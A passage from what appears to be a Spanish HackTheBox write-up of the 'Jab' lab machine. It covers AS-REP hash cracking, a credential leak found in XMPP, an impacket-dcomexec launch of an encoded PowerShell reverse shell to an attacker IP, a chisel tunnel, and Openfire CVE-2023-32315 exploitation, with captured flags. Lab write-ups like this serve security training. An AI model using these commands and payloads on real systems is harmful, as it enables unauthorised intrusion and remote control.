$krb5asrep$23$jmontgomery@JAB.HTB:18fcdf10ca4457a9d12eecb0e070aa53$80ade127a1b0aa08592f57d2d406bca2e9a22e20fd600bc39385fa8192fea45c3745b2d38ac0b4fbb32119d8b9c31167bb4776a6517096ef59b8bd4518f7eebe425fae9a90ea9d3206cc260104ca6c88968520f9789e274d292155d9bfba4a0490041ea98bcbb5f7e7e59888a489aa44aa8cc2cea859c494af7a6a8ab05862d5b6d99d7bbf01c6db83f0e601f77142a9d2fc365d18d015c1edfcb797a930aa9f4b50b2dbd185f8060f05eec8c26699e488c040440407269510113fe84694f110ef5c3075916a0f30cec92313b0c6426be9411d2d2a5d135ffa0038bed0e3181b240c |
Hemos tenido éxito así que pasamos los hashes por john y obtenemos una password
|
1 2 3 4 5 6 7 8 9 |
$ john keys/hashes.asreproast -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Midnight_121 ($krb5asrep$23$jmontgomery@JAB.HTB) 1g 0:00:01:11 DONE (2024-03-01 07:48) 0.01407g/s 201882p/s 556118c/s 556118C/s 0841079575..*7¡Vamos! Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Conectamos al servicio de xmpp con las credenciales obtenidas y encontramos una sala nueva llamada pentest2003

Conectamos a la misma y vemos una conversación en la que aparece la password del usuario openfire

Con las credenciales obtenidas ejecutaremos un ataque desde la tool dcomexec de impacket y una revshell previamente generada
|
1 2 |
$ impacket-dcomexec -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=' -silentcommand Impacket v0.11.0 - Copyright 2023 Fortra |
Y obtendremos una shell con el usuario svc_openfire
|
1 2 3 4 5 6 7 |
$ nc -nlvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.10.11.4 61205 PS C:\windows\system32> whoami jab\svc_openfire PS C:\windows\system32> |
Obteniendo la flag de user
Si nos vamos al escritorio de este usuario veremos la flag de user en el mismo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
PS C:\users\svc_openfire\desktop> dir Directory: C:\users\svc_openfire\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 3/1/2024 2:18 AM 34 user.txt PS C:\users\svc_openfire\desktop> type user.txt 4a71666a8c570f18d99b2a352cfad923 PS C:\users\svc_openfire\desktop> |
Escalado de privilegios
Una vez dentro enumeramos los puertos existentes
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
PS C:\users\svc_openfire\desktop> netstat -an|findstr TCP|findstr 127 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING TCP 127.0.0.1:389 127.0.0.1:49766 ESTABLISHED TCP 127.0.0.1:9090 0.0.0.0:0 LISTENING TCP 127.0.0.1:9091 0.0.0.0:0 LISTENING TCP 127.0.0.1:49692 127.0.0.1:49693 ESTABLISHED TCP 127.0.0.1:49693 127.0.0.1:49692 ESTABLISHED TCP 127.0.0.1:49694 127.0.0.1:49695 ESTABLISHED TCP 127.0.0.1:49695 127.0.0.1:49694 ESTABLISHED TCP 127.0.0.1:49696 127.0.0.1:49697 ESTABLISHED TCP 127.0.0.1:49697 127.0.0.1:49696 ESTABLISHED TCP 127.0.0.1:49698 127.0.0.1:49699 ESTABLISHED TCP 127.0.0.1:49699 127.0.0.1:49698 ESTABLISHED TCP 127.0.0.1:49700 127.0.0.1:49701 ESTABLISHED TCP 127.0.0.1:49701 127.0.0.1:49700 ESTABLISHED TCP 127.0.0.1:49702 127.0.0.1:49703 ESTABLISHED TCP 127.0.0.1:49703 127.0.0.1:49702 ESTABLISHED TCP 127.0.0.1:49704 127.0.0.1:49705 ESTABLISHED TCP 127.0.0.1:49705 127.0.0.1:49704 ESTABLISHED TCP 127.0.0.1:49706 127.0.0.1:49707 ESTABLISHED TCP 127.0.0.1:49707 127.0.0.1:49706 ESTABLISHED TCP 127.0.0.1:49708 127.0.0.1:49709 ESTABLISHED TCP 127.0.0.1:49709 127.0.0.1:49708 ESTABLISHED TCP 127.0.0.1:49710 127.0.0.1:49711 ESTABLISHED TCP 127.0.0.1:49711 127.0.0.1:49710 ESTABLISHED TCP 127.0.0.1:49712 127.0.0.1:49713 ESTABLISHED TCP 127.0.0.1:49713 127.0.0.1:49712 ESTABLISHED TCP 127.0.0.1:49714 127.0.0.1:49715 ESTABLISHED TCP 127.0.0.1:49715 127.0.0.1:49714 ESTABLISHED TCP 127.0.0.1:49716 127.0.0.1:49717 ESTABLISHED TCP 127.0.0.1:49717 127.0.0.1:49716 ESTABLISHED TCP 127.0.0.1:49718 127.0.0.1:49719 ESTABLISHED TCP 127.0.0.1:49719 127.0.0.1:49718 ESTABLISHED TCP 127.0.0.1:49720 127.0.0.1:49721 ESTABLISHED TCP 127.0.0.1:49721 127.0.0.1:49720 ESTABLISHED TCP 127.0.0.1:49722 127.0.0.1:49723 ESTABLISHED TCP 127.0.0.1:49723 127.0.0.1:49722 ESTABLISHED TCP 127.0.0.1:49724 127.0.0.1:49725 ESTABLISHED TCP 127.0.0.1:49725 127.0.0.1:49724 ESTABLISHED TCP 127.0.0.1:49726 127.0.0.1:49727 ESTABLISHED TCP 127.0.0.1:49727 127.0.0.1:49726 ESTABLISHED TCP 127.0.0.1:49728 127.0.0.1:49729 ESTABLISHED TCP 127.0.0.1:49729 127.0.0.1:49728 ESTABLISHED TCP 127.0.0.1:49730 127.0.0.1:49731 ESTABLISHED TCP 127.0.0.1:49731 127.0.0.1:49730 ESTABLISHED TCP 127.0.0.1:49732 127.0.0.1:49733 ESTABLISHED TCP 127.0.0.1:49733 127.0.0.1:49732 ESTABLISHED TCP 127.0.0.1:49734 127.0.0.1:49735 ESTABLISHED TCP 127.0.0.1:49735 127.0.0.1:49734 ESTABLISHED TCP 127.0.0.1:49736 127.0.0.1:49737 ESTABLISHED TCP 127.0.0.1:49737 127.0.0.1:49736 ESTABLISHED TCP 127.0.0.1:49738 127.0.0.1:49739 ESTABLISHED TCP 127.0.0.1:49739 127.0.0.1:49738 ESTABLISHED TCP 127.0.0.1:49766 127.0.0.1:389 ESTABLISHED |
Y vemos el servicio de openfire corriendo en el puerto 9090
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
PS C:\users\svc_openfire\desktop> certutil.exe -urlcache -f http://127.0.0.1:9090 **** Online **** 0000 ... 0073 0000 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 <html>.<head><ti 0010 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 tle></title>.<me 0020 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 ta http-equiv="r 0030 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d efresh" content= 0040 22 30 3b 55 52 4c 3d 69 6e 64 65 78 2e 6a 73 70 "0;URL=index.jsp 0050 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 ">.</head>.<body 0060 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c >.</body>.</html 0070 3e 0a 0a >.. CertUtil: -URLCache command completed successfully. |
Así que nos mandamos el puerto con chisel
|
1 2 3 4 5 6 7 8 9 |
PS C:\temp> $client = new-object System.Net.WebClient PS C:\temp> $client.DownloadFile("http://10.10.14.2/chisel.exe","c:\temp\chisel.exe") $ ./chisel server --reverse -p 8000 2024/03/01 08:46:17 server: Reverse tunnelling enabled 2024/03/01 08:46:17 server: Fingerprint l0mKFh0z2YHj7iI7w9nBHF/dAmY1apA9lkhxNMhi5Dg= 2024/03/01 08:46:17 server: Listening on http://0.0.0.0:8000 PS C:\temp> .\chisel.exe client 10.10.14.2:8000 R:9090:127.0.0.1:9090 |
Y accedemos al portal web

En la misma pantalla de login vemos la versión instalada, así que nos vamos a google y encontramos el cve CVE-2023–32315 y un exploit en github
Con esta vulnerabilidad podemos obtener un RCE gracias a una vulnerabilidad de Path Traversal
Así que conectaremos con las credenciales del usuario svc_openfire y subiremos el plugin

Una vez subido accedemos con las credenciales del mismo y veremos información del servidor

A través del mismo podemos habilitar una consola así que ejecutaremos una revshell para conseguir acceso a la máquina

Obteniendo la flag de root
Y obtendremos una shell con el usuario administrator del servidor
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ nc -nlvp 4446 Listening on 0.0.0.0 4446 Connection received on 10.10.11.4 61546 PS C:\Program Files\Openfire\bin> whoami nt authority\system PS C:\Program Files\Openfire\bin> cd c:\users\administrator\desktop PS C:\users\administrator\desktop> dir Directory: C:\users\administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 3/1/2024 2:18 AM 34 root.txt PS C:\users\administrator\desktop> type root.txt f2124a9409673b9d2274dd2032c95a90 PS C:\users\administrator\desktop> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










